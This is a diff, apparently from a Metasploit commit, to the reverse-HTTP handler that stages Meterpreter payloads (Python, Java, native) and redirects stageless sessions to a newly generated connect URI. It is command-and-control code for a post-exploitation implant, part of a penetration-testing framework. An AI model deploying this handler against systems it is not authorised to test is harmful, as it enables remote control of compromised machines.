3
3
require 'rex/sync/ref'
4
4
require 'rex/payloads/meterpreter/patch'
5
5
require 'rex/payloads/meterpreter/uri_checksum'
6
+ require 'rex/post/meterpreter/packet'
6
7
require 'rex/parser/x509_certificate'
7
8
require 'msf/core/payload/windows/verify_ssl'
8
9
@@ -19,6 +20,7 @@ module ReverseHttp
19
20
include Msf ::Handler
20
21
include Rex ::Payloads ::Meterpreter ::UriChecksum
21
22
include Msf ::Payload ::Windows ::VerifySsl
23
+ include Rex ::Post ::Meterpreter
22
24
23
25
#
24
26
# Returns the string representation of the handler type
@@ -222,8 +224,6 @@ def on_request(cli, req, obj)
222
224
uuid . arch ||= obj . arch
223
225
uuid . platform ||= obj . platform
224
226
225
- print_status "#{ cli . peerhost } :#{ cli . peerport } Request received for #{ req . relative_resource } ... (UUID:#{ uuid . to_s } )"
226
-
227
227
conn_id = nil
228
228
if info [ :mode ] && info [ :mode ] != :connect
229
229
conn_id = generate_uri_uuid ( URI_CHECKSUM_CONN , uuid )
@@ -233,7 +233,25 @@ def on_request(cli, req, obj)
233
233
234
234
# Process the requested resource.
235
235
case info [ :mode ]
236
+ when :init_connect
237
+ print_status ( "#{ cli . peerhost } :#{ cli . peerport } (UUID: #{ uuid . to_s } ) Redirecting stageless connection ..." )
238
+
239
+ # Handle the case where stageless payloads call in on the same URI when they
240
+ # first connect. From there, we tell them to callback on a connect URI that
241
+ # was generated on the fly. This means we form a new session for each.
242
+ sum = uri_checksum_lookup ( :connect )
243
+ new_uri = generate_uri_uuid ( sum , uuid ) + '/'
244
+
245
+ # This bit is going to need to be validated by the Ruby/MSF masters as I
246
+ # am not sure that this is the best way to get a TLV packet out from this
247
+ # handler.
248
+ # Hurl a TLV back at the caller, and ignore the response
249
+ pkt = Packet . new ( PACKET_TYPE_RESPONSE , 'core_patch_url' )
250
+ pkt . add_tlv ( TLV_TYPE_TRANS_URL , new_uri )
251
+ resp . body = pkt . to_r
252
+
236
253
when :init_python
254
+ print_status ( "#{ cli . peerhost } :#{ cli . peerport } (UUID: #{ uuid . to_s } ) Staging Python payload ..." )
237
255
url = payload_uri ( req ) + conn_id + '/'
238
256
239
257
blob = ""
@@ -268,6 +286,7 @@ def on_request(cli, req, obj)
268
286
} )
269
287
270
288
when :init_java
289
+ print_status ( "#{ cli . peerhost } :#{ cli . peerport } (UUID: #{ uuid . to_s } ) Staging Java payload ..." )
271
290
url = payload_uri ( req ) + conn_id + "/\x00 "
272
291
273
292
blob = ""
@@ -296,9 +315,9 @@ def on_request(cli, req, obj)
296
315
} )
297
316
298
317
when :init_native
318
+ print_status ( "#{ cli . peerhost } :#{ cli . peerport } (UUID: #{ uuid . to_s } ) Staging Native payload ..." )
299
319
url = payload_uri ( req ) + conn_id + "/\x00 "
300
320
301
- print_status ( "#{ cli . peerhost } :#{ cli . peerport } Staging connection for target #{ req . relative_resource } received..." )
302
321
resp [ 'Content-Type' ] = 'application/octet-stream'
303
322
304
323
blob = obj . stage_payload
@@ -335,9 +354,10 @@ def on_request(cli, req, obj)
335
354
} )
336
355
337
356
when :connect
357
+ print_status ( "#{ cli . peerhost } :#{ cli . peerport } (UUID: #{ uuid . to_s } ) Attaching orphaned/stageless session ..." )
358
+
338
359
resp . body = ""
339
360
conn_id = req . relative_resource
340
- print_status ( "Incoming orphaned or stageless session #{ conn_id } , attaching..." )
341
361
342
362
# Short-circuit the payload's handle_connection processing for create_session
343
363
create_session ( cli , {
0 commit comments